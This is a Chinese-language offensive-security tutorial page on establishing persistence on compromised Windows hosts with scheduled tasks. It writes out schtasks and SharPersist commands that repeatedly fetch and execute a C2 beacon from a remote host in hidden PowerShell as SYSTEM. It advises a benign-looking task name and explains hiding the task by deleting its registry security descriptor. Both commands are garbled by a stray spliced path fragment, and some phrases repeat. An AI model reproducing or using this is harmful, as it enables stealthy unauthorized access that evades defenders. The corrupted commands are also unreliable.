Skip to main content

计划任务

在我们获得初始shell之会话之后,我们需要考虑如何让我们的访问持久化。原因很简单,如果我们是通过利用漏洞进来的,对方可能察觉到痕迹然后修补漏洞,如果是通过泄漏的密码进来的,对方可能修改密码,如果是利用社会工程学进来的, 对方不太可能再次上当。此外,目标企业的安全团队与产品也在监视异常情况。

持久化访问,可以通过多种方式达成,并且只要对Windows足操作系统足够熟悉、想象力足够丰富,往往能诞生出非常规的持久化方式。现在,我们来介绍常见的持久化技术之一,计划任务。

计划任务,顾名思义,创建特定任务并且在触发特定条件之后执行。这个条件可以是单纯的时间流逝,可以是用户登录,可以是屏幕被锁定/解锁等等。我们以时间的流逝为例,触发条件为每1分 1 分钟,任务是使用powershell下载脚本并在内存中执,这里的脚本当然就是C2的Beacon。 C:\Windows\Tasks\Beacon.exe。代码为:

schtasks /create /sc minute /mo 1 /tn Update /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -exec bypass -nop iex(new-object net.webclient).downloadstring('http://host/beacon')"Tasks\Beacon.exe" /ru SYSTEM

/sc/mo 指定了执行间隔为1分 1 分钟,Update为计划任务名称,可以创建地看起来合理,我们当然不能用 “Backdoor” 之类的字眼。然后是powershell命令指定的应用以和参数 (这里没有参数),以及指定以SYSTEM权 SYSTEM限执行。

image.png

(为了避免多重 Beacon,图例用了 calc.exe 代替)

我们可以通过命令行或者计划任务 GUI 查看

image.png

image.png

同样的,我们也可以通过 SharPersist (https://github.com/mandiant/SharPersist ) 工具来达成目的:

SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.Tasks\Beacon.exe" -a "-nop -w hidden iex(new-object net.webclient).downloadstring('http://host/beacon')" -n "Update" -m add -o hourly

image.png

-t 参数为持久化技术,这里我们选择的是计划任务,当然SharPersist还 SharPersist 还支持其他技术,我们后面会说。其他参数大家都能看出来是什么作用。

但需要注意的是,默认情况下,计划任务持久化不够隐蔽,很容易被发现,并且这也是一个被聚焦在聚光灯下的方法。我们可以通过访问注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 并且删除后门计划任务的SD值,来隐藏计划任务。这样的话通过命令就无法找到了。

image.pngimage.png

image.pngimage.png